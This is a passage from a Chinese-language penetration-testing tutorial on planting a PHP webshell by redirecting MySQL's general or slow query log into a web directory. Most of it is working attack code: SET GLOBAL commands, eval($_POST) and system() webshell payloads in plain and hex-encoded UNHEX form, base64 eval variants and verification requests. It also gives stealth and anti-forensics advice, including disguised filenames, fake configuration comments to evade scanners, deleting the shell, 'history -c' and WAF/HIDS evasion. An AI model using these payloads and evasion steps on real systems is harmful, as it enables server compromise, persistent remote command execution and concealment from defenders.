第一阶段精细化的信息收集与确认即使已经知道了Web路径更细致的信息收集也能提高成功率。-- 1. 确认当前用户和权限再次确认 SELECT CURRENT_USER(), SUPER_PRIV, FILE_PRIV FROM mysql.user WHERE USERSUBSTRING_INDEX(CURRENT_USER(), , 1)\G -- 2. 查看当前所有日志相关变量评估环境 SHOW VARIABLES LIKE %log%; -- 重点关注 -- log_output: 日志输出是FILE还是TABLE如果是TABLE则日志写入mysql.general_log表此方法失效。需要先改为FILE。 -- secure_file_priv: 这个变量如果设置了路径则只能向该路径及其子目录写文件。如果是NULL则禁止文件写入此方法完全失效。如果是空字符串则没有限制。 -- 3. 探测Web目录是否存在及是否有写权限间接方法 -- 尝试向一个临时文件写入一个测试字符串 SET GLOBAL general_log_file /var/www/html/test_write.txt; SET GLOBAL general_log ON; SELECT test_write; SET GLOBAL general_log OFF; -- 然后尝试通过HTTP访问 http://target.com/test_write.txt 看是否能读到test_write。如果能证明路径正确且有写权限。这一步非常关键。secure_file_priv是MySQL的一个安全配置如果它被设置为一个目录如/tmp/那么你只能将日志文件设置到那个目录下。如果设置为NULL那么任何文件操作包括LOAD_FILE和日志重定向都会被禁止这个技术就完全行不通了。3.2 第二阶段Payload构造的艺术与陷阱规避Payload不是简单的一句话。需要考虑SQL语法、字符串转义、日志格式干扰和最终的PHP语法正确性。3.2.1 基础Payload构造一个基础的Payload如下SELECT ?php eval($_POST[\pass\]);?;这里有几个要点外层引号使用单引号包裹PHP代码这是SQL字符串的表示方式。PHP标签必须包含完整的?php ... ?。内层引号转义PHP代码中$_POST[pass]里的双引号在SQL字符串中需要用反斜杠\进行转义变成\否则SQL语句会提前结束导致语法错误。避免分号冲突PHP语句结尾的分号;在SQL的SELECT语句中没问题但如果使用如?php system($_GET[\c\]);?最后的?之前的分号是PHP语法的一部分需要保留。3.2.2 应对日志格式的干扰日志会在我们的Payload前后添加额外信息。为了确保PHP解析器只关心我们的标签要保证标签的完整性不被破坏。最怕的是日志记录时在标签中间换行。虽然概率低但我们可以通过构造Payload来避免。避免注释干扰不要在Payload中使用/* */或--等SQL注释它们可能被日志记录机制特殊处理。紧凑写法将代码写在一行内避免不必要的空格和换行。使用十六进制编码高级这是最稳健的方法。可以将PHP代码转换成十六进制字符串然后用MySQL的UNHEX()函数还原。这样能完全避免引号转义问题。SELECT UNHEX(3C3F70687020406576616C28245F504F53545B2270617373225D293B203F3E); -- 上面的十六进制字符串解码后正是 ?php eval($_POST[pass]); ?在日志中这条语句会被记录为SELECT UNHEX(...)执行后写入文件的内容就是解码后的原始PHP代码干净无干扰。3.2.3 功能更丰富的Webshell你可以根据需要构造更强大的Webshell。-- 一个简单的文件管理器功能 SELECT ?php if(isset($_GET[\f\])){highlight_file($_GET[\f\]);} if(isset($_POST[\c\])){system($_POST[\c\]);} ?; -- 使用base64编码绕过简单过滤需在Webshell中解码 SELECT ?php eval(base64_decode($_POST[\z\]));?; -- 然后POST传递 zbase64_encode(‘system(“whoami”);’) 等3.3 第三阶段执行与验证这里我们选择使用slow_query_log进行演示因为它更干净。-- 步骤1: 设置慢查询日志路径到Web目录 SET GLOBAL slow_query_log_file /var/www/html/images/logo_update.php; -- 我选择images目录因为它通常存在且有执行权限且文件名logo_update.php看起来较正常。 -- 步骤2: 开启慢查询日志 SET GLOBAL slow_query_log ON; -- 步骤3: 设置慢查询阈值为0确保接下来的查询被记录 SET GLOBAL long_query_time 0; -- *** 重要对于某些MySQL版本如5.7修改此全局变量后需要新开一个数据库连接会话才会生效。*** -- 在已有SQL注入点可能不方便新开会话。备用方案是设置一个非常小的正数如0.001然后执行一个确实很慢的查询。 -- 步骤4: 执行构造好的慢查询Payload -- 方案A: 使用SLEEP (如果函数可用) SELECT UNHEX(3C3F7068702069662869737365742824504F53545B2763275D29297B73797374656D2824504F53545B2763275D293B7D3F3E) FROM mysql.user WHERE SLEEP(3); -- 这个十六进制解码后是?php if(isset($_POST[c])){system($_POST[c]);}? -- 方案B: 如果不允许SLEEP使用大量表连接制造耗时 SELECT UNHEX(3C3F70687020706870696E666F28293B203F3E) FROM information_schema.columns A, information_schema.columns B LIMIT 1; -- 这个解码后是 ?php phpinfo(); ? -- 步骤5: (可选) 恢复环境清理痕迹 SET GLOBAL long_query_time 10; -- 恢复默认慢查询阈值 SET GLOBAL slow_query_log OFF; -- 注意不要急于删除日志文件或改回路径先验证Webshell是否成功。验证打开浏览器访问http://target.com/images/logo_update.php。如果看到空白页或页面上方有一些MySQL日志的文本如时间戳但页面没有错误如500 Internal Server Error这通常是好迹象说明文件被PHP解析了只是我们的代码可能没有输出。使用Hack/Postman等工具向该URL发送一个POST请求Body内容为cwhoami。查看响应如果返回了当前系统用户的用户名如www-data则说明Webshell成功执行系统命令利用成功。实操心得验证阶段访问页面时如果直接返回了下载对话框或者显示了PHP源代码说明Web服务器没有将该.php文件解析为PHP脚本。可能的原因有1) 文件后缀不是.php2) Web服务器如Nginx未配置对.php文件的处理3) 该目录下禁用了PHP执行通过.htaccess或Nginx配置。此时需要尝试其他目录或后缀如.phtml,.php5等。4. 进阶技巧、隐蔽性与痕迹清理一次成功的渗透不仅要能进去还要尽量安静地待着并且走的时候不留明显脚印。4.1 提升隐蔽性的技巧目录选择不要直接写在网站根目录。选择/upload/,/images/,/static/,/cache/,/tmp/等已存在且通常有执行权限的目录。这些目录下出现新的php文件相对不那么突兀。文件名伪装使用cache.php,api_config.php,theme_update.php,index.php.bak等看起来像正常系统文件或备份文件的名称。内容伪装在Webshell代码前后添加大量无害的注释或垃圾代码甚至模仿某个真实框架的配置文件格式以规避简单的静态文件扫描。SELECT /* * Configuration file for X-Cache Plugin * version 1.2 */ ?php eval($_POST[\z\]);? // EOF ;使用慢查询日志如前所述它比通用日志更安静。最小化操作在获取Webshell后立即将日志路径改回原值或一个非Web目录并关闭日志。避免持续产生日志暴露行踪。4.2 操作痕迹清理理想情况下在完全撤离前应清理操作痕迹。但数据库操作日志的清理风险很高容易触发警报。清理MySQL日志文件本身通过Webshell连接后直接删除生成的logo_update.php文件。rm -f /var/www/html/images/logo_update.php恢复MySQL配置通过Webshell执行mysql命令或在获取的数据库会话中将修改过的全局变量恢复。-- 通过Webshell连接数据库后执行 mysql -uroot -p[密码] -e SET GLOBAL slow_query_log_file /var/lib/mysql/slow.log; SET GLOBAL long_query_time 10;注意此操作需谨慎因为通过Webshell执行高危命令连接数据库可能被命令审计记录。清理历史命令如果通过Webshell执行了命令清理一下Shell历史。history -c警告清理数据库自身的操作日志如mysql.general_log表或二进制日志非常危险除非你有绝对把握且情况紧急否则不建议操作。不完美的清理比不清理更容易引起怀疑。4.3 对抗安全防护的思考现代WAF和HIDS可能会检测这种攻击。WAF层面可能会检测异常的SQL语句如包含?php的SELECT查询或者检测SET GLOBAL这类数据库配置修改操作。对抗方法包括使用十六进制编码、将关键词分割拼接如SEL||ECT、或利用数据库特性绕过。HIDS层面可能会监控Web目录下新出现的.php文件或监控MySQL日志文件路径的异常变更。对抗方法依赖于更巧妙的目录和文件名伪装以及更快的“用后即焚”策略。数据库审计如果数据库开启了审计功能SET GLOBAL命令和异常的SELECT语句会被记录。这几乎没有完美的对抗方法只能依靠前期的信息收集判断目标环境是否具备严格的审计能力。5. 常见问题排查与实战经验录在实际操作中你几乎一定会遇到各种问题。下面是我总结的一些常见“坑”及其解决方案。5.1 Webshell访问失败问题排查表问题现象可能原因排查步骤与解决方案访问返回 404 Not Found1. 文件路径错误。2. 文件未成功创建。1. 复核Web绝对路径。通过已知文件推测如/var/www/html/logo.png存在则根目录正确。2. 检查数据库操作是否成功。执行SHOW VARIABLES LIKE slow_query_log_file;确认路径已更改。执行一个简单查询触发日志再检查文件是否存在需通过Webshell或其他方式。访问返回 500 Internal Server Error1. PHP语法错误。2. 日志文件格式干扰导致PHP解析失败。1. 检查Payload构造。确保PHP标签完整引号正确转义。最推荐使用十六进制UNHEX方式能彻底避免语法问题。2. 访问日志文件时查看页面源代码。如果能看到原始的SQL日志文本说明PHP未解析。可能是文件后缀不被识别。尝试.phtml,.php5,.php7等后缀。也可能是该目录禁用了PHP换目录尝试。访问时直接下载.php文件Web服务器未配置处理.php文件。常见于Nginx未正确关联PHP-FPM。此方法在该环境下可能无效需寻找其他突破口。访问空白页POST命令无回显1. Webshell代码执行但无输出。2.system()等函数被禁用。3. 命令执行环境问题。1. 换用有回显的Payload如?php echowhoami;?或?php echo shell_exec(whoami);?。2. 检查PHP禁用函数列表。尝试其他执行方式passthru(),exec(),popen(), 或反引号。3. 使用绝对路径执行命令如/bin/whoami。执行SET GLOBAL报错1227权限不足。当前用户缺少SUPER权限。确认用户权限。如果只有FILE而无SUPER在MySQL 5.7版本可能无法动态修改全局变量。可以尝试修改my.cnf配置文件并重启但这在渗透中不现实。此路可能不通。日志文件内容为空或没有Payload1. 日志未成功开启。2. 查询未被记录针对慢查询。3.log_output设置为TABLE。1. 确认general_log或slow_query_log的值为ON。2. 对于慢查询确认long_query_time足够小且查询确实耗时。用SELECT BENCHMARK(10000000, MD5(test))制造CPU耗时。3. 执行SHOW VARIABLES LIKE log_output;。如果是TABLE先执行SET GLOBAL log_output FILE;。5.2 来自实战的几条血泪经验“先测试后实战”原则在本地或可控的测试环境如Docker快速搭建的LAMP中完整演练整个流程理解每一个环节。这能帮你快速定位问题避免在真实目标上留下大量失败日志。路径分隔符陷阱在Windows系统上MySQL路径使用反斜杠\并且需要转义如C:\\inetpub\\wwwroot\\shell.php。在Linux上则是正斜杠/。会话Session问题修改long_query_time等全局变量后只对新建立的数据库会话生效。这意味着如果你通过一个持久的SQL注入点执行紧接着的Payload查询可能不会被记录。最稳妥的方法是修改变量和执行Payload在两个完全独立的数据库连接中进行。文件覆盖风险如果设置的日志文件路径已存在SET GLOBAL ..._log_file命令会覆盖原文件。这可能导致网站原有功能被破坏立即引起管理员警觉。务必选择一个不存在的文件路径。备用方案如果日志写入Web目录的方法行不通可以尝试写入到/tmp目录然后利用本地文件包含LFI漏洞去包含这个日志文件。思路是general_log_file /tmp/mysql.log然后通过存在的LFI漏洞包含/tmp/mysql.log使其中的PHP代码被执行。这个方法虽然不像0day漏洞那样犀利但它考验的是对目标系统组件的深入理解和灵活运用。在严格的防守面前这种需要多个条件配合的技巧成功率在下降但它依然是渗透测试人员武器库中一件值得了解的“特殊工具”。记住真正的安全攻防往往就发生在这些看似平常的组件和配置的缝隙之中。